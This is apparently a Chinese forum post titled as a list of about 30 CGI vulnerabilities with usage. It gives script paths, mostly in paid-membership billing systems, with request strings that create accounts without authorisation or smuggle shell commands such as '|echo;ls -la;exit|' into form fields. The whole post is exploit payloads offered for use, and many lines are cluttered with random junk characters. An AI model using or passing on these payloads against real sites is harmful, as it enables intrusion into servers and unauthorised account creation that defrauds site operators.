Cgi-bin 30个漏洞＋使用方法

admin

==============================
$ U( |+ g( g& T) Y
/smspass.pl
+ a( h% Z" }) |& x3 C9 Nusername=username&password=password
5 ?9 V5 [, r( e6 u
* Q1 c5 B1 @4 p. U# A1 M/index.cgi
. C; B$ A" T  `) H% j# E( wwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password
% \+ l9 ?- L; b/ ^' @
* B+ Z4 s+ n! s; u" `& ]  {/accountcreate.cgi
; P2 f& G2 M: N; yusername=username&password=password&ref1=|echo;ls|

/form.cgi
9 ?$ n( I- O' A; o. a% e" w+ i) b) P3 Uname=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
" |4 {3 \* C# c& n/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
1 C. ^; n8 g; k6 z( ?
4 D& R9 m  T% e' G1 ~1 [/ccbill-local.asp
" X: @$ F8 ?: X; v2 S- K8 Zpost_values=username:password

5 v4 z. Y0 h/ X7 d/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
7 x6 z0 h7 Y  v* U0 Q/recon.cgi?search
# ?4 c( B9 h- I$ Esearchoption=1&searchfor=|echo;ls -al;exit|
  I: z. @9 `% q# j3 X
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
! A5 Q( l+ }! u. d, t( }( u_browser_out=|echo;ls -la;exit;|
5 o' E- A+ |; ]. h
: n* \# C- z0 g. l: w5 S3 P/modify.cgi
, w. t  b! l7 {# p6 X" w  U6 }' Xusername=username&password=password&expire=30
' w8 I; f6 g6 o  Y
4 p* i2 [6 `, B8 Q/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
0 R3 ?* d" [3 Y0 d
/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
: c/ a* [! @6 a5 Z0 d# m0 m; dsearchoption=3&searchfor=echo;ls -la;exit
& ?. b$ A, Q- x
/htadd.pl
% C/ j$ s: H( _/ Z% Uconfigfile=|echo; ls -alt; exit
  L6 \% n& [) ^
$ v3 I# J/ l5 [7 T" w- A: v/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
/ s- g7 U& ^) Z* }3 rreqtype=add&authpwd=authpwd&username=username&password=password
* v) U5 ~$ |& Z# s
; T1 V- V" A4 n& ]: c7 `/cpay.cgi
; Y# @1 z  Y- u' A7 scommand=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
  x' V5 r; l/ `. Ndo=add&username=username&password=password&wpassword=password
0 V9 A( X/ d# U$ Q' v! m7 w3 Q6 ^
/usercontrol.cgi
2 ?- _4 z/ c% G" M  ~6 Vcommand=enable&username=USER&password=PASS

1 N9 T' G/ _6 e/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
" G$ |2 x: Y! r- T4 ^8 G" _5 q
7 Z! \$ S* }: ^4 B/addusr.pl
. t( I$ y$ }" ^5 j! F; Puser=USER&pass=PASS&confirm=PASS
! B. O( o- H% x7 Z) p4 ~7 U: V  i6 ^
8 a* B5 _2 I' p9 Z5 f5 F; U/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
+ `) y+ o. W- P' l9 }
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
1 T5 O3 b5 G) [( q$ BADD+;echo;pwd;exit

4 G: D$ Y% [& }8 O+ }' B/count.cgi
; l0 T9 p( w+ d1 I# Dpinfile=|echo;pwd;exit|

! U8 U4 a4 ^" i/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
( B; p% n% H* b
/add.cgi
username=username&password=password&expire=30
! C. \0 C2 S- ?/ p4 J$ \/ Y
==============================
7 @* G" e0 e$ p* ^# Q